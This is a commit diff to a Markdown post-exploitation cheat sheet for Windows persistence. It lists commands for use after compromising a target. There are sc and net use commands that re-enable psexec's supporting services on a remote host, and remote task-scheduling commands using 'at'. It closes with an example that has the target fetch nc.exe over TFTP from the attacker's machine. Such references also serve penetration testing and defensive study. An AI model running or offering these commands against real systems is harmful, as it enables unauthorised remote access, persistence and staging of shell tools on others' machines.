Adding more content.

Author: WebBreacher

persistence/windows/general.md

@@ -17,13 +17,13 @@ Commands to run to maintain persistence after you have exploited it and are usua
 ### Enable `psexec`
 The [`psexec` tool](http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx) executes processes on other systems over a network. Most systems now disable the "clipbook" which `psexec` required. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 50)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can re-enable the sub-systems needed to use `psexec` using the `sc` commands below.
 
-``c:\> net use \\target\ipc$ username /user:password
-c:\> sc \\target config netdde start= auto
-c:\> sc \\target config netddedsdm start= auto
-c:\> sc \\target config clipsrv start= auto
-c:\> sc \\target start netdde
-c:\> sc \\target start netddedsdm
-c:\> sc \\target start clipsrv
+``c:\> net use \\[TargetIP]\ipc$ username /user:password
+c:\> sc \\[TargetIP] config netdde start= auto
+c:\> sc \\[TargetIP] config netddedsdm start= auto
+c:\> sc \\[TargetIP] config clipsrv start= auto
+c:\> sc \\[TargetIP] start netdde
+c:\> sc \\[TargetIP] start netddedsdm
+c:\> sc \\[TargetIP] start clipsrv
 ``
 
 ### Enable Remote Desktop
@@ -64,4 +64,13 @@ c:\> copy c:\windows\security\database\secedit.sdb c:\windows\security\database\
 c:\> secedit /configure /db new.secedit.sdb /cfg fix_ts_policy.ini
 c:\> gpupdate /Force
 c:\> net start "terminal services"
-``
+``
+
+### Scheduler
+The [Windows scheduler](http://support.microsoft.com/kb/313565) can be used to further compromise a system. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 58)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can remotely schedule tasks using the commands below.
+
+``c:\> net use \\[TargetIP]\ipc$ password /user:username
+c:\> at \\[TargetIP] 12:00 pm command
+``
+
+An example you might run on the remote system might be: `at \\192.168.1.1 12:00pm tftp -I [MyIP] GET nc.exe`